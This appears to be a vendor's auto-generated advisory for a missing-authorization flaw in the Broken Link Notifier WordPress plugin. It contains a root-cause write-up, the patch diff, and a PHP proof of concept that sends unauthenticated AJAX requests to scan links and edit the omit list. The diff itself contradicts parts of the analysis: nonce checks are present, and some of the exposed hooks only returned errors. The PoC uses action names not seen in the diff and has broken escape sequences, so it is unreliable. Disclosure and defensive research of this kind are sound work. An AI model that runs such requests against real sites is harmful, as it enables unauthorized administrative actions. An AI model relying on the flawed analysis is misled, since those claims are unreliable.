Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25408: Broken Link Notifier <= 1.3.5 – Missing Authorization (broken-link-notifier)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.3.5
Patched Version 1.3.6
Disclosed January 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25408:
The Broken Link Notifier WordPress plugin, versions up to and including 1.3.5, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to perform administrative actions, including scanning for broken links and manipulating scan results. The vulnerability is rated with a CVSS score of 5.3 (Medium severity).

Root Cause:
The vulnerability stems from missing capability checks on multiple AJAX handler functions. In the vulnerable version, the plugin registers AJAX actions with both `wp_ajax_` and `wp_ajax_nopriv_` hooks, allowing unauthenticated users to access privileged functionality. Specifically, the `ajax_blinks()` function in `/includes/results.php` (lines 108-109) was accessible via `wp_ajax_nopriv_`. The `ajax()` function in `/includes/omits.php` (line 77) and `/includes/scan.php` (line 45) also lacked proper authorization checks. These functions performed operations like scanning pages for broken links and managing omit lists without verifying user permissions.

Exploitation:
An attacker can exploit this vulnerability by sending crafted POST requests to `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to specific plugin AJAX keys. For the link scanning function, the attacker would set `action=blnotifier_scan_links` and provide parameters like `source_url`, `header_links`, `content_links`, and `footer_links`. For omit list management, the attacker would use `action=blnotifier_omit_links`. No authentication or nonce is required in the vulnerable version, allowing complete unauthorized access to these administrative functions.

Patch Analysis:
The patch in version 1.3.6 introduces a centralized authorization function `user_can_manage_broken_links()` in `/includes/helpers.php` (lines 19-57). This function checks if the current user is logged in and has either the administrator role or a role allowed via plugin settings. The patch removes all `wp_ajax_nopriv_` registrations for privileged actions in `/includes/omits.php` (line 78), `/includes/results.php` (lines 109, 111-113), and `/includes/scan.php` (line 46). It adds explicit permission checks using the new helper function at the beginning of each vulnerable AJAX handler, such as in `/includes/omits.php` line 373, `/includes/results.php` lines 1116 and 1231, and `/includes/scan.php` line 66.

Impact:
Successful exploitation allows unauthenticated attackers to perform broken link scanning operations, potentially consuming server resources through repeated scans. Attackers can also manipulate the plugin’s omit list, affecting which links the plugin monitors. While the vulnerability does not directly lead to remote code execution or data exfiltration, it enables unauthorized administrative actions that could disrupt site monitoring and waste server resources through abusive scanning.

Differential between vulnerable and patched code

Code Diff
--- a/broken-link-notifier/broken-link-notifier.php
+++ b/broken-link-notifier/broken-link-notifier.php
@@ -3,9 +3,9 @@
  * Plugin Name:         Broken Link Notifier
  * Plugin URI:          https://pluginrx.com/plugin/broken-link-notifier/
  * Description:         Get notified when someone loads a page with a broken link
- * Version:             1.3.5
+ * Version:             1.3.6
  * Requires at least:   5.9
- * Tested up to:        6.8
+ * Tested up to:        6.9
  * Requires PHP:        7.4
  * Author:              PluginRx
  * Author URI:          https://pluginrx.com/
--- a/broken-link-notifier/includes/helpers.php
+++ b/broken-link-notifier/includes/helpers.php
@@ -15,6 +15,40 @@
 class BLNOTIFIER_HELPERS {

     /**
+     * Check if the current user can manage Broken Link Notifier.
+     *
+     * @return bool True if user has permission, false otherwise.
+     */
+    public function user_can_manage_broken_links() : bool {
+        if ( ! is_user_logged_in() ) {
+            return false;
+        }
+
+        $current_user = wp_get_current_user();
+        $user_roles   = (array) $current_user->roles;
+
+        // Administrators always have access
+        if ( in_array( 'administrator', $user_roles, true ) ) {
+            return true;
+        }
+
+        // Check against allowed roles stored in plugin options
+        $allowed_roles = get_option( 'blnotifier_editable_roles', [] );
+
+        if ( is_array( $allowed_roles ) && ! empty( $allowed_roles ) ) {
+            foreach ( $allowed_roles as $role_slug => $value ) {
+                $role_slug = sanitize_key( $role_slug );
+                if ( in_array( $role_slug, $user_roles, true ) ) {
+                    return true;
+                }
+            }
+        }
+
+        return false;
+    } // End user_can_manage_broken_links()
+
+
+    /**
      * Get the current tab
      *
      * @return string|false
--- a/broken-link-notifier/includes/menu.php
+++ b/broken-link-notifier/includes/menu.php
@@ -400,7 +400,14 @@
                 'default'  => 5,
                 'min'      => 0,
                 'comments' => 'Maximum number of redirects before giving up on a link (will only be used if you allow redirects below)'
-            ]
+            ],
+            [
+                'name'     => 'max_links_per_page',
+                'label'    => 'Max Links Per Page',
+                'default'  => 200,
+                'min'      => 0,
+                'comments' => 'Maximum number of links to check per page (0 for unlimited) - this is to prevent attacks and timeouts on pages with a large number of links'
+            ],
         ];

         // Loop through the array to add number fields
--- a/broken-link-notifier/includes/omits.php
+++ b/broken-link-notifier/includes/omits.php
@@ -77,7 +77,6 @@

         // Ajax
         add_action( 'wp_ajax_'.$this->ajax_key, [ $this, 'ajax' ] );
-        add_action( 'wp_ajax_nopriv_'.$this->ajax_key, [ $this, 'must_login' ] );

         // Enqueue script
         add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
@@ -371,6 +370,9 @@
         if ( !wp_verify_nonce( $nonce, $this->nonce ) ) {
             exit( 'No naughty business please.' );
         }
+        if ( !(new BLNOTIFIER_HELPERS)->user_can_manage_broken_links() ) {
+            exit( 'Unauthorized access.' );
+        }

         // Get parameters safely
         $link = isset( $_REQUEST[ 'link' ] ) ? sanitize_text_field( wp_unslash( $_REQUEST[ 'link' ] ) ) : '';
@@ -407,16 +409,6 @@


     /**
-     * What to do if they are not logged in
-     *
-     * @return void
-     */
-    public function must_login() {
-        die();
-    } // End must_login()
-
-
-    /**
      * Enqueue script
      *
      * @param string $screen
--- a/broken-link-notifier/includes/results.php
+++ b/broken-link-notifier/includes/results.php
@@ -108,14 +108,9 @@
         add_action( 'wp_ajax_'.$this->ajax_key_blinks, [ $this, 'ajax_blinks' ] );
         add_action( 'wp_ajax_nopriv_'.$this->ajax_key_blinks, [ $this, 'ajax_blinks' ] );
         add_action( 'wp_ajax_'.$this->ajax_key_rescan, [ $this, 'ajax_rescan' ] );
-        add_action( 'wp_ajax_nopriv_'.$this->ajax_key_rescan, [ $this, 'ajax_rescan' ] );
-
         add_action( 'wp_ajax_'.$this->ajax_key_replace_link, [ $this, 'ajax_replace_link' ] );
-        add_action( 'wp_ajax_nopriv_'.$this->ajax_key_replace_link, [ $this, 'ajax_unauthorized' ] );
         add_action( 'wp_ajax_'.$this->ajax_key_delete_result, [ $this, 'ajax_delete_result' ] );
-        add_action( 'wp_ajax_nopriv_'.$this->ajax_key_delete_result, [ $this, 'ajax_unauthorized' ] );
         add_action( 'wp_ajax_'.$this->ajax_key_delete_source, [ $this, 'ajax_delete_source' ] );
-        add_action( 'wp_ajax_nopriv_'.$this->ajax_key_delete_source, [ $this, 'ajax_unauthorized' ] );

         // Enqueue scripts
         add_action( 'wp_enqueue_scripts', [ $this, 'front_script_enqueuer' ] );
@@ -948,6 +943,31 @@
         $content_links = isset( $_REQUEST[ 'content_links' ] ) ? wp_unslash( $_REQUEST[ 'content_links' ] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
         $footer_links  = isset( $_REQUEST[ 'footer_links' ] ) ? wp_unslash( $_REQUEST[ 'footer_links' ] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

+        // Enforce max links per page
+        $max_links = absint( get_option( 'blnotifier_max_links_per_page', 200 ) );
+        $total_links = count( $header_links ) + count( $content_links ) + count( $footer_links );
+        if ( $total_links > $max_links ) {
+            $result = [
+                'type' => 'error',
+                'msg'  => sprintf( 'Too many links in one scan. Max allowed: %d', $max_links )
+            ];
+            self::send_ajax_or_redirect( $result );
+        }
+
+        // Rate limit per IP only for non-link-managers
+        if ( !(new BLNOTIFIER_HELPERS)->user_can_manage_broken_links() ) {
+            $ip = $_SERVER[ 'REMOTE_ADDR' ];
+            $transient_key = 'bln_rate_' . md5( $ip );
+            if ( get_transient( $transient_key ) ) {
+                $result = [
+                    'type' => 'error',
+                    'msg'  => 'Scan rate limit exceeded'
+                ];
+                self::send_ajax_or_redirect( $result );
+            }
+            set_transient( $transient_key, 1, 10 ); // 10-second cooldown
+        }
+
         // Make sure we have a source URL
         if ( $source_url ) {

@@ -1079,15 +1099,7 @@
         }

         // Echo the result or redirect
-        if ( !empty( $_SERVER[ 'HTTP_X_REQUESTED_WITH' ] ) && strtolower( sanitize_key( wp_unslash( $_SERVER[ 'HTTP_X_REQUESTED_WITH' ] ) ) ) === 'xmlhttprequest' ) {
-            echo wp_json_encode( $result );
-        } else {
-            $referer = isset( $_SERVER[ 'HTTP_REFERER' ] ) ? filter_var( wp_unslash( $_SERVER[ 'HTTP_REFERER' ] ), FILTER_SANITIZE_URL ) : '';
-            header( 'Location: ' . $referer );
-        }
-
-        // We're done here
-        die();
+        self::send_ajax_or_redirect( $result );
     } // End ajax_blinks()


@@ -1101,6 +1113,11 @@
         if ( !isset( $_REQUEST[ 'nonce' ] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash ( $_REQUEST[ 'nonce' ] ) ), $this->nonce_rescan ) ) {
             exit( 'No naughty business please.' );
         }
+
+        // Check permissions
+        if ( !(new BLNOTIFIER_HELPERS)->user_can_manage_broken_links() ) {
+            exit( 'Unauthorized access.' );
+        }

         // Get the ID
         $link      = isset( $_REQUEST[ 'link' ] ) ? sanitize_text_field( wp_unslash( $_REQUEST[ 'link' ] ) ) : false;
@@ -1197,30 +1214,11 @@
         }

         // Echo the result or redirect
-        if ( !empty( $_SERVER[ 'HTTP_X_REQUESTED_WITH' ] ) && strtolower( sanitize_key( wp_unslash( $_SERVER[ 'HTTP_X_REQUESTED_WITH' ] ) ) ) === 'xmlhttprequest' ) {
-            echo wp_json_encode( $result );
-        } else {
-            $referer = isset( $_SERVER[ 'HTTP_REFERER' ] ) ? filter_var( wp_unslash( $_SERVER[ 'HTTP_REFERER' ] ), FILTER_SANITIZE_URL ) : '';
-            header( 'Location: ' . $referer );
-        }
-
-        // We're done here
-        die();
+        self::send_ajax_or_redirect( $result );
     } // End ajax_rescan()


     /**
-     * Unauthorized ajax
-     *
-     * @return void
-     */
-    public function ajax_unauthorized() {
-        wp_send_json_error( 'Unauthorized access.', 403 );
-        exit;
-    } // End ajax_unauthorized()
-
-
-    /**
      * Ajax call for back end
      *
      * @return void
@@ -1230,6 +1228,10 @@
         if ( !isset( $_REQUEST[ 'nonce' ] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash ( $_REQUEST[ 'nonce' ] ) ), $this->nonce_replace ) ) {
             exit( 'No naughty business please.' );
         }
+
+        if ( !(new BLNOTIFIER_HELPERS)->user_can_manage_broken_links() ) {
+            exit( 'Unauthorized access.' );
+        }

         // Get the vars
         $result_id  = isset( $_REQUEST[ 'resultID' ] ) ? absint( wp_unslash( $_REQUEST[ 'resultID' ] ) ) : false;
@@ -1282,6 +1284,10 @@
         if ( !isset( $_REQUEST[ 'nonce' ] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash ( $_REQUEST[ 'nonce' ] ) ), $this->nonce_delete ) ) {
             exit( 'No naughty business please.' );
         }
+
+        if ( !(new BLNOTIFIER_HELPERS)->user_can_manage_broken_links() ) {
+            exit( 'Unauthorized access.' );
+        }

         // Get the ID
         $post_id = isset( $_REQUEST[ 'postID' ] ) ? absint( $_REQUEST[ 'postID' ] ) : false;
@@ -1311,6 +1317,11 @@
             exit( 'No naughty business please.' );
         }

+        // Check permissions
+        if ( !(new BLNOTIFIER_HELPERS)->user_can_manage_broken_links() ) {
+            exit( 'Unauthorized access.' );
+        }
+
         // Make sure we are allowed to delete the source
         if ( !get_option( 'blnotifier_enable_delete_source' ) ) {
             wp_send_json_error( 'Deleting source is not enabled.' );
@@ -1356,6 +1367,25 @@


     /**
+     * Send JSON result or redirect for non-AJAX requests.
+     *
+     * @param array $result The result array to return.
+     *
+     * @return void
+     */
+    public static function send_ajax_or_redirect( $result ) {
+        if ( !empty( $_SERVER[ 'HTTP_X_REQUESTED_WITH' ] ) && strtolower( sanitize_key( wp_unslash( $_SERVER[ 'HTTP_X_REQUESTED_WITH' ] ) ) ) === 'xmlhttprequest' ) {
+            header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
+            echo wp_json_encode( $result );
+        } else {
+            $referer = isset( $_SERVER[ 'HTTP_REFERER' ] ) ? filter_var( wp_unslash( $_SERVER[ 'HTTP_REFERER' ] ), FILTER_SANITIZE_URL ) : '';
+            header( 'Location: ' . $referer );
+        }
+        die();
+    } // End send_ajax_or_redirect()
+
+
+    /**
      * Enque the JavaScript
      *
      * @return void
--- a/broken-link-notifier/includes/scan-multi.php
+++ b/broken-link-notifier/includes/scan-multi.php
@@ -52,12 +52,7 @@
      * @return boolean
      */
     public function has_access() {
-        $roles = get_option( 'blnotifier_editable_roles', [] );
-        $roles[] = 'administrator';
-        if ( !is_user_logged_in() || !array_intersect( wp_get_current_user()->roles, $roles ) ) {
-            return false;
-        }
-        return true;
+        return (new BLNOTIFIER_HELPERS)->user_can_manage_broken_links();
     } // End has_access()


--- a/broken-link-notifier/includes/scan.php
+++ b/broken-link-notifier/includes/scan.php
@@ -45,7 +45,6 @@

         // Ajax
         add_action( 'wp_ajax_'.$this->ajax_key, [ $this, 'ajax' ] );
-        add_action( 'wp_ajax_nopriv_'.$this->ajax_key, [ $this, 'must_login' ] );

         // Enqueue script
         add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
@@ -64,6 +63,11 @@
             exit( 'No naughty business please.' );
         }

+        // Check permissions
+        if ( !(new BLNOTIFIER_HELPERS)->user_can_manage_broken_links() ) {
+            exit( 'Unauthorized access.' );
+        }
+
         // Initiate helpers
         $HELPERS = new BLNOTIFIER_HELPERS;

@@ -121,16 +125,6 @@


     /**
-     * What to do if they are not logged in
-     *
-     * @return void
-     */
-    public function must_login() {
-        die();
-    } // End must_login()
-
-
-    /**
      * Enqueue script
      *
      * @param string $screen

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25408 - Broken Link Notifier <= 1.3.5 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-25408
 * Demonstrates unauthorized access to Broken Link Notifier AJAX endpoints
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// AJAX endpoint for WordPress
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Function to send unauthorized AJAX request
function send_unauthorized_request($action, $data = []) {
    global $ajax_url;
    
    $data['action'] = $action;
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Add headers to simulate legitimate request
    $headers = [
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Accept: application/json, text/javascript, */*; q=0.01',
        'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With: XMLHttpRequest'
    ];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return [
        'code' => $http_code,
        'response' => $response
    ];
}

// Test 1: Unauthorized link scanning (blnotifier_scan_links action)
echo "Testing unauthorized link scanning...n";
$test_data = [
    'source_url' => 'http://example.com',
    'header_links' => json_encode(['http://example.com/link1']),
    'content_links' => json_encode([]),
    'footer_links' => json_encode([])
];
$result = send_unauthorized_request('blnotifier_scan_links', $test_data);
echo "HTTP Code: " . $result['code'] . "n";
echo "Response: " . $result['response'] . "nn";

// Test 2: Unauthorized omit list management (blnotifier_omit_links action)
echo "Testing unauthorized omit list management...n";
$result = send_unauthorized_request('blnotifier_omit_links', ['link' => 'http://example-to-omit.com']);
echo "HTTP Code: " . $result['code'] . "n";
echo "Response: " . $result['response'] . "nn";

// Test 3: Unauthorized single page scan (blnotifier_scan_page action)
echo "Testing unauthorized single page scan...n";
$result = send_unauthorized_request('blnotifier_scan_page', ['page_url' => 'http://example.com']);
echo "HTTP Code: " . $result['code'] . "n";
echo "Response: " . $result['response'] . "n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School